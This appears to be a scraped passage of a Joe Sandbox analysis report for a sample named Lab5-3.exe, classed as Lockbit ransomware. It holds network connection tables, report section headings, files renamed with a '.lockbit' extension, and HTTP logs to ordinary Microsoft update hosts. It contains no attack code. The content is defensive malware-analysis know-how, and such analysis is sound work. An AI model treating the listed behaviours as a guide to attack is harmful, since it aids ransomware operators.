Apr 26, 2024 23:38:52.877684116 CEST	443	50246	23.202.106.101	192.168.2.4
Apr 26, 2024 23:38:53.449445963 CEST	50247	443	192.168.2.4	20.114.59.183
Apr 26, 2024 23:38:53.449472904 CEST	443	50247	20.114.59.183	192.168.2.4
Apr 26, 2024 23:38:53.449601889 CEST	50247	443	192.168.2.4	20.114.59.183
Apr 26, 2024 23:38:53.450958014 CEST	50247	443	192.168.2.4	20.114.59.183
Apr 26, 2024 23:38:53.450970888 CEST	443	50247	20.114.59.183	192.168.2.4
Apr 26, 2024 23:38:54.078564882 CEST	443	50247	20.114.59.183	192.168.2.4
Apr 26, 2024 23:38:54.078681946 CEST	50247	443	192.168.2.4	20.114.59.183
Apr 26, 2024 23:38:54.082200050 CEST	50247	443	192.168.2.4	20.114.59.183
Apr 26, 2024 23:38:54.082207918 CEST	443	50247	20.114.59.183	192.168.2.4
Apr 26, 2024 23:38:54.082499981 CEST	443	50247	20.114.59.183	192.168.2.4
Apr 26, 2024 23:38:54.181915045 CEST	50247	443	192.168.2.4	20.114.59.183
Apr 26, 2024 23:38:54.456383944 CEST	49672	443	192.168.2.4	173.222.162.32
Apr 26, 2024 23:38:54.456424952 CEST	443	49672	173.222.162.32	192.168.2.4
Apr 26, 2024 23:38:54.755202055 CEST	50247	443	192.168.2.4	20.114.59.183
Apr 26, 2024 23:38:54.796159983 CEST	443	50247	20.114.59.183	192.168.2.4
Apr 26, 2024 23:38:55.166883945 CEST	443	50247	20.114.59.183	192.168.2.4
Apr 26, 2024 23:38:55.166939974 CEST	443	50247	20.114.59.183	192.168.2.4
Apr 26, 2024 23:38:55.166960001 CEST	443	50247	20.114.59.183	192.168.2.4
Apr 26, 2024 23:38:55.166997910 CEST	443	50247	20.114.59.183	192.168.2.4
Apr 26, 2024 23:38:55.167017937 CEST	443	50247	20.114.59.183	192.168.2.4
Apr 26, 2024 23:38:55.167037010 CEST	443	50247	20.114.59.183	192.168.2.4
Apr 26, 2024 23:38:55.187824965 CEST	50247	443	192.168.2.4	20.114.59.183
Apr 26, 2024 23:38:55.187855005 CEST	443	50247	20.114.59.183	192.168.2.4
Apr 26, 2024 23:38:55.187896013 CEST	443	50247	20.114.59.183	192.168.2.4
Apr 26, 2024 23:38:55.187926054 CEST	443	50247	20.114.59.183	192.168.2.4
Apr 26, 2024 23:38:55.187942982 CEST	443	50247	20.114.59.183	192.168.2.4
Apr 26, 2024 23:38:55.220166922 CEST	443	50247	20.114.59.183	192.168.2.4
Apr 26, 2024 23:38:55.269965887 CEST	50247	443	192.168.2.4	20.114.59.183
Apr 26, 2024 23:38:55.290010929 CEST	50247	443	192.168.2.4	20.114.59.183
Apr 26, 2024 23:38:55.785660028 CEST	443	50243	142.250.217.228	192.168.2.4
Apr 26, 2024 23:38:55.785723925 CEST	443	50243	142.250.217.228	192.168.2.4
Apr 26, 2024 23:38:55.793035984 CEST	50243	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:38:56.310551882 CEST	50243	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:38:56.310566902 CEST	443	50243	142.250.217.228	192.168.2.4
Apr 26, 2024 23:38:56.789258003 CEST	50247	443	192.168.2.4	20.114.59.183
Apr 26, 2024 23:38:56.789285898 CEST	443	50247	20.114.59.183	192.168.2.4
Apr 26, 2024 23:38:56.789302111 CEST	50247	443	192.168.2.4	20.114.59.183
Apr 26, 2024 23:38:56.789309978 CEST	443	50247	20.114.59.183	192.168.2.4
Apr 26, 2024 23:39:35.902720928 CEST	51267	443	192.168.2.4	20.114.59.183
Apr 26, 2024 23:39:35.902792931 CEST	443	51267	20.114.59.183	192.168.2.4
Apr 26, 2024 23:39:35.902884960 CEST	51267	443	192.168.2.4	20.114.59.183
Apr 26, 2024 23:39:35.903418064 CEST	51267	443	192.168.2.4	20.114.59.183
Apr 26, 2024 23:39:35.903450966 CEST	443	51267	20.114.59.183	192.168.2.4
Apr 26, 2024 23:39:36.517612934 CEST	443	51267	20.114.59.183	192.168.2.4
Apr 26, 2024 23:39:36.517735004 CEST	51267	443	192.168.2.4	20.114.59.183
Apr 26, 2024 23:39:36.531054020 CEST	51267	443	192.168.2.4	20.114.59.183
Apr 26, 2024 23:39:36.531090021 CEST	443	51267	20.114.59.183	192.168.2.4
Apr 26, 2024 23:39:36.531316996 CEST	443	51267	20.114.59.183	192.168.2.4
Apr 26, 2024 23:39:36.540056944 CEST	51267	443	192.168.2.4	20.114.59.183
Apr 26, 2024 23:39:36.584116936 CEST	443	51267	20.114.59.183	192.168.2.4
Apr 26, 2024 23:39:37.137460947 CEST	443	51267	20.114.59.183	192.168.2.4
Apr 26, 2024 23:39:37.137485027 CEST	443	51267	20.114.59.183	192.168.2.4
Apr 26, 2024 23:39:37.137499094 CEST	443	51267	20.114.59.183	192.168.2.4
Apr 26, 2024 23:39:37.137578011 CEST	51267	443	192.168.2.4	20.114.59.183
Apr 26, 2024 23:39:37.137609959 CEST	443	51267	20.114.59.183	192.168.2.4
Apr 26, 2024 23:39:37.137635946 CEST	443	51267	20.114.59.183	192.168.2.4
Apr 26, 2024 23:39:37.137696028 CEST	51267	443	192.168.2.4	20.114.59.183
Apr 26, 2024 23:39:37.141925097 CEST	51267	443	192.168.2.4	20.114.59.183
Apr 26, 2024 23:39:37.141953945 CEST	443	51267	20.114.59.183	192.168.2.4
Apr 26, 2024 23:39:37.141980886 CEST	51267	443	192.168.2.4	20.114.59.183
Apr 26, 2024 23:39:37.141994953 CEST	443	51267	20.114.59.183	192.168.2.4
Apr 26, 2024 23:39:45.344085932 CEST	51269	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:39:45.344122887 CEST	443	51269	142.250.217.228	192.168.2.4
Apr 26, 2024 23:39:45.344259024 CEST	51269	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:39:45.344888926 CEST	51269	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:39:45.344902992 CEST	443	51269	142.250.217.228	192.168.2.4
Apr 26, 2024 23:39:45.732850075 CEST	443	51269	142.250.217.228	192.168.2.4
Apr 26, 2024 23:39:45.733115911 CEST	51269	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:39:45.733128071 CEST	443	51269	142.250.217.228	192.168.2.4
Apr 26, 2024 23:39:45.733439922 CEST	443	51269	142.250.217.228	192.168.2.4
Apr 26, 2024 23:39:45.733716011 CEST	51269	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:39:45.733778000 CEST	443	51269	142.250.217.228	192.168.2.4
Apr 26, 2024 23:39:45.780231953 CEST	51269	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:39:55.738223076 CEST	443	51269	142.250.217.228	192.168.2.4
Apr 26, 2024 23:39:55.738285065 CEST	443	51269	142.250.217.228	192.168.2.4
Apr 26, 2024 23:39:55.738327980 CEST	51269	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:39:57.284857035 CEST	51269	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:39:57.284876108 CEST	443	51269	142.250.217.228	192.168.2.4
Apr 26, 2024 23:40:45.403754950 CEST	51271	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:40:45.403794050 CEST	443	51271	142.250.217.228	192.168.2.4
Apr 26, 2024 23:40:45.403867960 CEST	51271	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:40:45.404120922 CEST	51271	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:40:45.404136896 CEST	443	51271	142.250.217.228	192.168.2.4
Apr 26, 2024 23:40:45.794699907 CEST	443	51271	142.250.217.228	192.168.2.4
Apr 26, 2024 23:40:45.795000076 CEST	51271	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:40:45.795042038 CEST	443	51271	142.250.217.228	192.168.2.4
Apr 26, 2024 23:40:45.795522928 CEST	443	51271	142.250.217.228	192.168.2.4
Apr 26, 2024 23:40:45.795833111 CEST	51271	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:40:45.795926094 CEST	443	51271	142.250.217.228	192.168.2.4
Apr 26, 2024 23:40:45.886908054 CEST	51271	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:40:55.781894922 CEST	443	51271	142.250.217.228	192.168.2.4
Apr 26, 2024 23:40:55.781958103 CEST	443	51271	142.250.217.228	192.168.2.4
Apr 26, 2024 23:40:55.782021046 CEST	51271	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:40:56.044661045 CEST	51271	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:40:56.044707060 CEST	443	51271	142.250.217.228	192.168.2.4
Apr 26, 2024 23:41:45.466666937 CEST	51272	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:41:45.466747999 CEST	443	51272	142.250.217.228	192.168.2.4
Apr 26, 2024 23:41:45.466825962 CEST	51272	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:41:45.467123985 CEST	51272	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:41:45.467152119 CEST	443	51272	142.250.217.228	192.168.2.4
Apr 26, 2024 23:41:45.803989887 CEST	443	51272	142.250.217.228	192.168.2.4
Apr 26, 2024 23:41:45.815330029 CEST	51272	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:41:45.815391064 CEST	443	51272	142.250.217.228	192.168.2.4
Apr 26, 2024 23:41:45.816534996 CEST	443	51272	142.250.217.228	192.168.2.4
Apr 26, 2024 23:41:45.818655014 CEST	51272	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:41:45.818842888 CEST	443	51272	142.250.217.228	192.168.2.4
Apr 26, 2024 23:41:45.936326027 CEST	51272	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:41:55.785149097 CEST	443	51272	142.250.217.228	192.168.2.4
Apr 26, 2024 23:41:55.785203934 CEST	443	51272	142.250.217.228	192.168.2.4
Apr 26, 2024 23:41:55.785300016 CEST	51272	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:41:56.031019926 CEST	51272	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:41:56.031069994 CEST	443	51272	142.250.217.228	192.168.2.4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 26, 2024 23:38:35.047666073 CEST	138	138	192.168.2.4	192.168.2.255
Apr 26, 2024 23:38:35.047750950 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:38:35.810282946 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:38:36.576000929 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:38:38.328989029 CEST	138	138	192.168.2.4	192.168.2.255
Apr 26, 2024 23:38:38.329066992 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:38:38.696954966 CEST	53	50613	1.1.1.1	192.168.2.4
Apr 26, 2024 23:38:39.091550112 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:38:39.846323967 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:38:40.974894047 CEST	53	59255	1.1.1.1	192.168.2.4
Apr 26, 2024 23:38:40.976526976 CEST	53	54855	1.1.1.1	192.168.2.4
Apr 26, 2024 23:38:40.987246990 CEST	65032	53	192.168.2.4	8.8.8.8
Apr 26, 2024 23:38:40.987678051 CEST	55815	53	192.168.2.4	1.1.1.1
Apr 26, 2024 23:38:41.125426054 CEST	53	55815	1.1.1.1	192.168.2.4
Apr 26, 2024 23:38:41.163079023 CEST	53	65032	8.8.8.8	192.168.2.4
Apr 26, 2024 23:38:41.675425053 CEST	138	138	192.168.2.4	192.168.2.255
Apr 26, 2024 23:38:41.676162958 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:38:42.430094957 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:38:43.191019058 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:38:43.799391031 CEST	53	59069	1.1.1.1	192.168.2.4
Apr 26, 2024 23:38:44.958132982 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:38:45.282970905 CEST	61863	53	192.168.2.4	1.1.1.1
Apr 26, 2024 23:38:45.283130884 CEST	63607	53	192.168.2.4	1.1.1.1
Apr 26, 2024 23:38:45.408190966 CEST	53	61863	1.1.1.1	192.168.2.4
Apr 26, 2024 23:38:45.409595013 CEST	53	63607	1.1.1.1	192.168.2.4
Apr 26, 2024 23:38:45.653433084 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:38:45.713027000 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:38:46.396127939 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:38:46.476644993 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:38:47.159110069 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:38:47.247890949 CEST	138	138	192.168.2.4	192.168.2.255
Apr 26, 2024 23:38:47.247941017 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:38:47.999146938 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:38:48.752177954 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:38:52.850733995 CEST	138	138	192.168.2.4	192.168.2.255
Apr 26, 2024 23:38:52.850733995 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:38:53.606412888 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:38:53.980413914 CEST	53	54891	1.1.1.1	192.168.2.4
Apr 26, 2024 23:38:54.363429070 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:38:56.276238918 CEST	138	138	192.168.2.4	192.168.2.255
Apr 26, 2024 23:38:56.276240110 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:38:57.030725956 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:38:57.790123940 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:38:59.895570040 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:00.558010101 CEST	138	138	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:00.652441025 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:01.418375969 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:02.177092075 CEST	138	138	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:02.177134037 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:02.922585011 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:03.327627897 CEST	53	52697	1.1.1.1	192.168.2.4
Apr 26, 2024 23:39:03.684674978 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:05.747472048 CEST	138	138	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:05.747535944 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:06.512871981 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:07.278426886 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:09.060971022 CEST	138	138	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:09.061031103 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:09.809262991 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:10.559446096 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:12.325432062 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:13.091033936 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:13.856657982 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:14.621321917 CEST	138	138	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:14.621375084 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:15.386828899 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:16.148886919 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:17.919451952 CEST	138	138	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:17.919531107 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:18.668123007 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:19.418406963 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:21.169222116 CEST	138	138	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:21.169300079 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:21.919049978 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:22.683897972 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:22.951111078 CEST	53	61227	1.1.1.1	192.168.2.4
Apr 26, 2024 23:39:24.450474977 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:25.216121912 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:25.981718063 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:26.747330904 CEST	138	138	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:26.747410059 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:27.497234106 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:28.252254963 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:30.012480974 CEST	138	138	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:30.012563944 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:30.778044939 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:31.528053045 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:33.279520988 CEST	138	138	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:33.279521942 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:34.043917894 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:34.809524059 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:36.575685978 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:37.325424910 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:38.076679945 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:38.841772079 CEST	138	138	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:38.841855049 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:39.606594086 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:40.356609106 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:40.649599075 CEST	53	53305	1.1.1.1	192.168.2.4
Apr 26, 2024 23:39:42.137351036 CEST	138	138	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:42.137411118 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:42.902715921 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:43.668334961 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:45.434617043 CEST	138	138	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:45.434617043 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:45.797169924 CEST	53	54699	1.1.1.1	192.168.2.4
Apr 26, 2024 23:39:46.200145006 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:46.965648890 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:48.762552977 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:49.512954950 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:50.278461933 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:51.099654913 CEST	138	138	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:51.158586979 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:51.919157982 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:52.681286097 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:54.441751957 CEST	138	138	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:54.441808939 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:55.184636116 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:55.950347900 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:57.841120005 CEST	138	138	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:57.841181993 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:58.592653990 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:39:59.355745077 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:01.122168064 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:01.876473904 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:02.637545109 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:03.387833118 CEST	138	138	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:03.387911081 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:04.137696981 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:04.902158022 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:06.668165922 CEST	138	138	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:06.668236017 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:07.418549061 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:08.184700012 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:09.906136990 CEST	53	52145	1.1.1.1	192.168.2.4
Apr 26, 2024 23:40:09.950648069 CEST	138	138	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:09.950838089 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:10.701565981 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:11.451950073 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:13.218411922 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:13.973999023 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:14.730974913 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:15.481359959 CEST	138	138	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:15.481460094 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:16.246613979 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:16.997236967 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:18.761625051 CEST	138	138	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:18.761694908 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:19.513700008 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:20.268138885 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:22.030318022 CEST	138	138	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:22.030391932 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:22.794078112 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:23.559117079 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:25.324537992 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:26.074455976 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:26.825428009 CEST	137	137	192.168.2.4	192.168.2.255
Apr 26, 2024 23:40:55.889234066 CEST	53	49507	1.1.1.1	192.168.2.4

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Apr 26, 2024 23:38:38.821748018 CEST	192.168.2.1	192.168.2.4	829e	(Port unreachable)	Destination Unreachable
Apr 26, 2024 23:38:40.310482025 CEST	192.168.2.1	192.168.2.4	829e	(Port unreachable)	Destination Unreachable
Apr 26, 2024 23:38:41.825083971 CEST	192.168.2.1	192.168.2.4	829e	(Port unreachable)	Destination Unreachable
Apr 26, 2024 23:38:54.055587053 CEST	192.168.2.1	192.168.2.4	829e	(Port unreachable)	Destination Unreachable
Apr 26, 2024 23:38:55.571832895 CEST	192.168.2.1	192.168.2.4	829e	(Port unreachable)	Destination Unreachable
Apr 26, 2024 23:38:57.075010061 CEST	192.168.2.1	192.168.2.4	829e	(Port unreachable)	Destination Unreachable
Apr 26, 2024 23:39:01.614846945 CEST	192.168.2.1	192.168.2.4	829e	(Port unreachable)	Destination Unreachable
Apr 26, 2024 23:39:03.106909037 CEST	192.168.2.1	192.168.2.4	829e	(Port unreachable)	Destination Unreachable
Apr 26, 2024 23:39:04.622188091 CEST	192.168.2.1	192.168.2.4	829e	(Port unreachable)	Destination Unreachable

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Lab5-3.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Lockbit

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Operating System Destruction

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Exploits

Compliance

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\$RECYCLE.BIN\S-1-5-21-2246122658-3693405117-2476756634-1002\desktop.ini

C:\$RECYCLE.BIN\desktop.ini

C:\Program Files\7-Zip\Lang\ar.txt.lockbit

C:\Program Files\7-Zip\Lang\ba.txt.lockbit

C:\Program Files\7-Zip\Lang\be.txt.lockbit

C:\Program Files\7-Zip\Lang\bg.txt.lockbit

C:\Program Files\7-Zip\Lang\bn.txt.lockbit

C:\Program Files\7-Zip\Lang\br.txt.lockbit

C:\Program Files\7-Zip\Lang\ca.txt.lockbit

Windows Analysis Report
Lab5-3.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 21:38:48 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-26 21:38:48 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0712) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=33936 Date: Fri, 26 Apr 2024 21:38:48 GMT Connection: close X-CID: 2

Timestamp	Bytes transferred	Direction	Data
2024-04-26 21:38:49 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-26 21:38:49 UTC	486	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (dce/26AC) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=33969 Date: Fri, 26 Apr 2024 21:38:49 GMT Content-Length: 55 Connection: close X-CID: 2
2024-04-26 21:38:49 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Timestamp	Bytes transferred	Direction	Data
2024-04-26 21:38:54 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=crNMT2weYCUheMV&MD=zS4FTzTb HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
